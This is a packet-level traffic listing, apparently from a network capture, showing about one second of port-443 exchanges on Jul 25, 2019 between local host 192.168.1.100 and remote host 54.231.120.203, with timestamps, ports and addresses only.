Jul 25, 2019 13:47:07.748779058 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.749037027 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.749054909 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.749166012 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.749313116 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.786228895 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.828984976 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.829016924 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.829247952 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.848288059 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.848332882 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.848359108 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.848540068 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.849895954 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.850183010 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.850214005 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.850255966 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.850284100 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.850312948 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.850341082 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.850369930 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.850398064 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.850400925 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.850661039 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.850904942 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.850974083 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.851005077 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.851032972 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.851042986 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.851084948 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.851223946 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.851233006 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.888370991 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.888398886 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.888578892 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.931724072 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.931788921 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.931982994 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.952234030 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.952274084 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.952294111 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.952541113 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.956227064 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.956267118 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.956279039 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.956300974 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.956325054 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.956348896 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.956373930 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.956398010 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.956420898 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.956444025 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.956475019 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.956497908 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.956521988 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.956545115 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.956585884 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.956712961 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:07.990875006 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.990921974 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.990947008 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:07.991054058 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.036329985 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.036366940 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.036580086 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.058777094 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.058809042 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.058825016 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.058969975 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.059679985 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.059708118 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.059722900 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.059741974 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.059760094 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.059809923 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.059813023 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.059834003 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.059849024 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.059864044 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.059878111 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.059931040 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.059951067 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.059968948 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.059986115 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.060096025 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.093206882 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.093293905 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.093405962 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.093432903 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.093441963 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.093800068 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.139703989 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.139790058 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.139971018 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.160986900 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.161029100 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.161065102 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.161108971 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.162113905 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.162153959 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.162208080 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.162298918 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.162319899 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.162338972 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.162372112 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.162412882 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.162446022 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.162477016 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.162489891 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.162508011 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.162542105 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.162574053 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.162605047 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.162636995 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.162765980 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.195648909 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.195718050 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.195885897 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.196135998 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.196198940 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.197187901 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.242300987 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.242357969 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.242387056 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.242599964 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.263442993 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.263485909 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.263773918 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.264703035 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.264772892 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.264822960 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.264848948 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.264856100 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.264873981 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.264905930 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.264940023 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.264972925 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.264997005 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.265018940 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.265036106 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.265052080 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.265060902 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.265069008 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.265081882 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.265110016 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.265221119 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.298110008 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.298139095 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.298365116 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.299444914 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.299495935 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.299645901 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.344810963 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.344857931 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.344883919 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.345025063 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.366183996 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.366245031 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.366425991 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.367033005 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.367078066 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.367155075 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.367188931 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.367222071 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.367266893 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.367299080 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.367330074 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.367361069 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.367392063 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.367422104 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.367451906 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.367482901 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.367512941 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.367671013 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.367747068 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.400559902 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.400594950 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.400866032 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.401992083 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.402024031 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.402293921 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.447748899 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.447782993 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.447856903 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.447905064 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.447963953 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.469054937 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.469116926 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.469322920 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.470066071 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.470128059 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.470227957 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.470261097 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.470298052 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.470314980 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.470371962 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.470421076 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.470453024 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.470484018 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.470496893 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.470515013 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.470546961 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.470576048 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.470577955 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.470608950 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.470639944 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.470767021 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.503374100 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.503418922 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.503447056 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.503628016 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.505192041 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.505237103 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.505435944 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.550663948 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.550719976 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.550748110 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.550959110 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.571707964 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.571755886 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.571784973 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.572002888 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.572626114 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.572798014 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.572830915 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.572886944 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.572918892 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.573000908 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.573067904 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.573086977 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.573101044 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.573132038 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.573163033 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.573196888 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.573239088 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.573270082 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.573301077 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.573612928 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.606226921 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.606276989 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.606306076 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.606332064 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.606429100 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.607880116 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.607947111 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.608093977 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.653410912 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.653445959 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.653477907 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.653721094 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.674366951 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.674410105 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.674427032 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.674643993 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.675472975 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.675524950 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.675553083 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.675580025 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.675595045 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.675697088 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.675762892 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.675906897 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.676032066 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.676096916 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.676141977 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.676178932 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.676239967 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.676284075 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.676425934 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.676456928 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.676486969 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.676574945 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.709108114 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.709141970 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.709161997 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.709319115 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.710376978 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.710418940 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.710441113 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.710588932 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.756303072 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.756371975 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.756402016 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.756519079 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.777771950 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.777815104 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.777842999 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.778055906 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.778079033 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.778114080 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.778175116 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.778204918 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.778234005 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.778422117 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.778887987 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.778958082 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.778997898 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.779027939 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.779084921 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.779124022 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.779164076 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.779196978 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.779216051 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.780133009 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.811749935 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.811803102 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.811855078 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.811882973 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.812011003 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.812580109 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.812618971 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.812658072 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.812717915 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.850169897 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.859117031 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.859162092 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.859190941 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.859327078 MESZ	50056	443	192.168.1.100	54.231.120.203
Jul 25, 2019 13:47:08.880569935 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.880611897 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.880640030 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.880666971 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.880697012 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.880726099 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.880754948 MESZ	443	50056	54.231.120.203	192.168.1.100
Jul 25, 2019 13:47:08.880783081 MESZ	50056	443	192.168.1.100	54.231.120.203
